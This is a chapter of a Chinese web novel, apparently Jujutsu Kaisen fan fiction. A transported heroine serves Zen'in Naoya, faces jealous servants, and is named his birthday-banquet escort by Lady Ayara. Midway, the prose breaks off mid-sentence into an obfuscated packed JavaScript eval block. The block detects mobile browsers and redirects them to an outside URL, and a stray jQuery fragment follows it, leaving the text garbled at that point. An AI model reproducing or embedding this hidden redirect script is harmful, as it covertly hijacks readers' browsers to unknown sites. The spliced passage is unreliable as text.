在悉心侍奉完禅院直哉洗漱更衣之后，真理奈便回到了自己的房间。
她下意识地开始细细探究起自己的身体状况来。
既然在这个世界里，那些人都拥有所谓的咒力，那么自己会不会也具备这种能力呢？
联想到在游戏开始之前，游戏曾要求玩家设定的各项属性，真理奈似乎从中领悟到了一些什么。
在这个游戏当中，既没有明确的攻略角色列表，也不存在好感度提示之类的设定，一切都如同现实世界一般，需要玩家凭借自身的能力去不断探索发现。
只是在游戏开始之前，有一个属性分配的流程环节，然而当时真理奈没什么耐心，便随意地选择了随机分配的方式。
在进入游戏之后，那曾经见过的属性界面竟然再也无法唤出，真理奈也只能凭借着自己还算姣好的记忆力，回想起大概是一个高家世但低战力的设定。
经过一番努力尝试之后，真理奈果然察觉到自己的手中隐隐燃起了一道形似火苗的能量。
虽说这股能量显得颇为微弱，但它确实是真实存在着的。
只是对于这错综复杂、晦涩难懂的术式原理，真理奈却是一头雾水，完全不得其解。
随着夜色愈发浓重起来，真理奈缓缓收起了那股咒力，而后起身准备去洗漱一番。
身为当今少家主未来的侧室人选，可真理奈如今却仅仅只有这一间卧房可供使用，而且身边也没有所谓专门侍奉她的下人，反而是她需要每日去侍奉少家主的吃穿用度等各种事宜。如此这般，真理奈对自己目前所扮演的这个身份，已然有了更为深刻透彻的理解。
说白了，这不就相当于那种贴身侍女、暖床丫鬟之类的角色吗？
正在暗自吐槽着自己身份的真理奈，伸手拉开了房门。
她恰好撞见同样抱着水桶、毛巾等洗漱用品的美竹——也就是今日带领她前往直哉住处的那位女子。
美竹神情木讷，袖子微微往上撸起了一些。
那握着水桶的手看上去略显粗糙，显然是平日里做惯了粗活的缘故。
被真理奈的开门声所吸引，她的视线极为僵硬地滑动到真理奈身上。但仅仅停留了一秒钟的时间，便又面无表情地将目光收了回去，而后自顾自地朝着目的地走去。
望着这女人此刻似乎与白日里截然不同的模样，真理奈心中不禁生出了几缕玩味之意，不过她倒也并没有太过计较此事。
多亏了这个女人的出现，真理奈再度对自己当下的身份有了更为明确清晰的认知。
*
浴场之中。
氤氲的雾气弥漫开来，四处飘散。那雾气的温度颇高，几乎都要烫到真理奈的肌肤。
不少仆从正在其中忙碌着，只听得那哗啦哗啦的水流声不断响起，她们正在清洗着自己的身子。
那些裸露的胴体并非全都如美玉雕琢而成的玉人一般美丽无瑕，其中多数是皮肤干瘪、身形走样的中老年人，其次便是那些正当壮年的妇人，以及约莫十岁上下的未成年女童。
像真理奈这般适龄年纪的女子，在这里竟然几乎看不到。
仅有少数几位与她差不多年岁的女子，在见到她时，也会下意识地抿紧嘴唇、微微皱眉。
对于他人的眼神向来极为敏感的真理奈顿时便察觉，这几人眼中似乎满溢着某种嫉妒、忿恨之情。
这般情形不禁让真理奈感觉有些怪异，但她面上却并未表露出来，只是随意地挑选了一处空位，而后便开始自顾自地洗漱起来。
原本坐在她身边的是一名五十来岁的中年女人，不过恰好此时她已经洗漱完毕，便拿着自己带来的物品，径直走出了室内。
而那位名叫美竹的女子，则坐在距离她不远处的地方，就像是一台机械般，动作僵硬地清洗完身子之后，便迈着悠长的步伐缓缓离去了。
真理奈凝视着她的背影，足足看了好几秒钟的时间。
在这人员众多的浴场里，那些牵着孩童的夫人，年纪大概也就约莫三十来岁的样子，与美竹属于同龄人，如此一来，孑然一身的美竹便显得略微有些显眼了。
·
接下来的时日，真理奈依循自己选定的设定，尽心竭力地侍奉着禅院直哉。
禅院直哉实为难伺候之人，性情阴晴不定，仿若莫测风云，且于吃穿用度方面极为挑剔，凡事皆求尽善尽美。
自应允对方之后，真理奈每次皆需陪同禅院直哉前往练武场。其间，嘘寒问暖、鼓舞士气、端茶递水以及赛后夸赞等环节，皆是不可或缺之流程。
虽侍奉之事颇为辛劳，然禅院直哉对她的“宠爱”之举众人皆有目共睹。那些惯会见风使舵、趋炎附势的仆从们，见此情形，便将真理奈的吃穿用度皆提升了一倍。
就连真理奈自身亦有所察觉，近来但凡与禅院直哉一同现身，往昔那些鲜少会特意向自己行礼的仆人，如今亦会恭恭敬敬地行礼致意。
而禅院家那微妙的氛围，在禅院直哉宣布今年由真理奈陪同其参加生辰宴之时，已然攀升至巅峰——
“真理奈，对吗？”
面前的女子雍容华贵，发髻高高挽起，不见丝毫碎发逸出。银盘般的脸庞上，是柳叶状的眉和桃花形的眼。
与真理奈此前见过的诸多女子皆有所不同，此女子端庄添媚，艳而不娇，颇具大气雍容之姿。
尤为显著者，其五官与禅院直哉竟有七分相似之处，正是掌管禅院家诸多事务的“绫罗夫人”，当今家主的正妻。
“是的。”
在她的凝视之下，真理奈不疾不徐地勾勒出一抹浅笑，以作回应。
那女子久久凝视着她，时间之久，令真理奈竟生出一种两人之间似有暧昧氛围的错觉——这可怪不得真理奈多想，实因这女子的双眸，哪怕是望向寻常之物，亦仿佛透着深情缱绻之意。
就在真理奈看似微笑，实则心思已然神游天外的静谧氛围中，对方不知在心中酝酿何事，总归是终于开了口：“坐吧。”
“多谢夫人赐座。”真理奈微微躬身行礼，而后才在女子身前缓缓落座——在这等级森严、阶级分明的禅院家，能获此待遇，实乃莫大殊荣。
美妇人见状，仅是微微一笑，继而轻声问询：“直哉近来的训练情况如何？”
真理奈一边不动声色地端详着妇人的面容，一边恭恭敬敬地回道：“回夫人，直哉少爷向来勤勉刻苦，近期更是进步神速。”
她自是知晓，绫罗夫人此时唤她前来，绝非仅为询问此事。
只是她着实揣摩不透其中深意，亦难辨是吉是凶，便唯有先秉持恭敬守礼之态，谨慎行事，以免不慎出错，授人以柄。
“看紧着些。”出乎真理奈意料的是，对方仅是这般仔细叮嘱道：“直哉这孩子争强好胜，，但天资有余，毅力不足，莫要让他前功尽弃。”
“是——夫人的教诲，真理奈自当铭记于心。”真理奈愈发低眉顺眼，却趁此时机，用余光瞥见那美妇人接过仆从递来的一盏新茶，浅尝辄止地品了一口——整个过程毫无声息，亦无任何不雅之举，堪称将古典美学演绎至极致。
说起来，对于这位绫罗夫人，真理奈所知甚少，仅晓得她明辨是非，能力卓绝，在禅院家中备受敬重与爱戴……
神游间，那递茶的仆从在真理奈头顶冷哼一声，其宽而长的袖边隐约绣着精美的花色，显见得比一般仆从的衣裳更为华贵。
“霞光。”
绫罗夫人微微蹙眉，轻声唤道。
那仆从自知理亏，赶忙低头认错：“非常抱歉，夫人。”
“晚上自行领罚即可。”
绫罗夫人并未多加训斥，仅寥寥数语便定下此事的处理结果。
真理奈听闻二人交谈，抬眼望去。却见一位留着红色长发的女子正低着头，朝自己投来不善的目光。
原来她叫“霞光”。
结合女人落日余辉般的发色，真理奈暗忖，这可真是一个相当好听且合适的名字。
真理奈不自禁回以对方一抹浅笑。
许是她此举太过坦然无畏，竟引得霞光露出几分茫然失措的神情。
但很快，那茫然失措的神色便被一种凶狠之态所取代。
她似对真理奈极为反感，就连擦身而过时亦刻意保持距离。
而借此机会，真理奈也看清了她袖口所绣的蔷薇花纹。
绫罗夫人虽留意到二人的眼神交锋，却未予点破，转而笑谈道：“真理奈，你刚搬回来不久，便又换了住处，可还住得习惯？”
众所周知，当老板问起这种问题时，即便心里不习惯，嘴上也得回答习惯了。
真理奈当下便扬起微笑，温声细语开口：“回夫人，新住处环境更好，出门即可观赏游鱼和花草，我很喜欢。”
——没错，真理奈搬了新住处。
此前的居所，每当将门扉开启，映入眼帘的便是那肆意蔓延、毫无规整可言的杂草，整个区域呈现出一种久未打理的荒芜之态。
而现今，其卧房毗邻直哉之室，于此向外眺望，景致
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824365|158778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
优美宜人，周遭环境清幽静谧，相较往昔，实乃不可同日而语，已然发生了天翻地覆之变化。
这一切变化的源头，仅仅是因为直哉心底对真理奈那份“喜爱”——他实在厌烦在漫长路途上等待。
“喜欢就好。”
绫罗夫人朱唇轻启，嘴角微微上扬，笑意如同春日暖阳下轻舞的花瓣。
然而话音刚落，她便不紧不慢地、仿若只是在谈论今日天气般地扔下了一颗足以让常人惊掉下巴的重磅炸弹——
“直哉已经明确指定，由你担任他生辰宴上的牵引人。”
真理奈不禁愣了一下。
还未等她从这突如其来的消息中回过神来，又听到绫罗夫人依旧语调平缓的声音传来。
“——我也同意了。”
这位妇人虽已年过三十，但岁月似乎并未在她脸上留下丝毫痕迹，肌肤紧致细腻，宛如上好的陶瓷。
像此刻这般展露笑颜，再配上那红润的唇色，当真是明艳动人。
可那轻盈美好的笑意下，是一切皆在掌控之中的气定神闲。
“……”
真理奈不禁垂眸。
禅院直哉作为禅院家的少主，每逢生辰之际，家族定会为其精心筹备一场极为隆重且盛大的贺宴。
在这贺宴之时，众多外族权贵皆会依照邀约纷纷莅临赴宴。而禅院家也会充分利用这场宴会的绝佳契机，与各方展开洽谈，进而敲定诸多至关重要的合作事宜。
自宴会开始直至落幕，始终如一地陪伴在直哉身旁，负责在整个赴宴过程中悉心照料其所有相关事宜的人，便是那被称作“牵引人”的特定角色。
这“牵引人”通常是由禅院家族在族内经过一番细致且精心的遴选而确定下来的，其中大部分皆是正值适婚妙龄的女子。
她们的主要职责更侧重于接待各方前来赴宴的宾客，从某种层面来讲，她们已然成为了整个禅院家族颜面的一种象征。
她们的每一言、每一行，乃至每一个细微的举动，都能够对前来赴宴的外族人士产生或大或小的影响，进而在相当程度上左右外族对于禅院家的整体印象。
——以上这些情况皆是真理奈近些日子所了解到的。
乍一听闻，这“牵引人”仿佛是一个极为重要且颇具分量的角色，每年都会有不少女子为了能够成功争得这一身份而使出浑身解数，各显其能，争奇斗艳之态尽显。
然而实际上，这不过是各个家族用以展示自家年轻貌美女子的一种手段罢了，说得直白一些，也就是一种变相的联姻诱饵。
当然，凡事总归会存在一些例外的情况，就如同真理奈这般。她身为禅院直哉未来的侧室，在这样的场合之下，同样也会肩负起与“牵引人”相类似的职责。
只是……侧室终究属于那种上不得台面的身份，鲜少有家族会做出如此安排。
禅院直哉毕竟还只是个孩子，提出这样的安排，真理奈尚可勉强理解。可绫罗夫人呢？她究竟是作何打算？
“承蒙夫人和少爷厚爱。”
一片寂静中，真理奈微微低头，谦卑之态尽显。
不知是否是她的态度让绫罗感到满意，绫罗再度露出浅笑。
舒缓而和煦的音调仿若轻柔的羽毛，在她的头顶轻轻拂过，带来一种酥酥麻麻的奇妙感觉。
真理奈抬起头，而后又是一番客套。
几分钟后，这位美妇人终于轻轻挥了挥手，示意真理奈退下。
“不要让我失望。”
走出房门后，这句话仍在真理奈的脑海中不断回响。
名为“霞光”的女子候在房外，见她出来，轻轻投去一抹注视。
蜜糖般色泽的眸子清亮澄净，若不是内含讥讽，貌美程度堪比琥珀。
她扯动嘴唇，眼中眸光闪烁，但还没来得及开口，便听见屋内绫罗的轻唤。
“——霞光。”
女子收回目光，平静地整理好凌乱的袖口，拉门而入。
“来了。”
背后的声音隐约模糊。
同真理奈的“谦卑”姿态不同，女子显然更加利落，但又不会给人失礼之感，反而增添几分伶俐。
这大概也是绫罗夫人喜欢她的原因。
枯木和鲜花，大多数人总是更喜欢后者。
以上画面仅发生在一瞬间。
因此，真理奈不曾停留，目视前方，走回卧房。
她只是突然想着——
禅院家还真是盛产“美人”啊。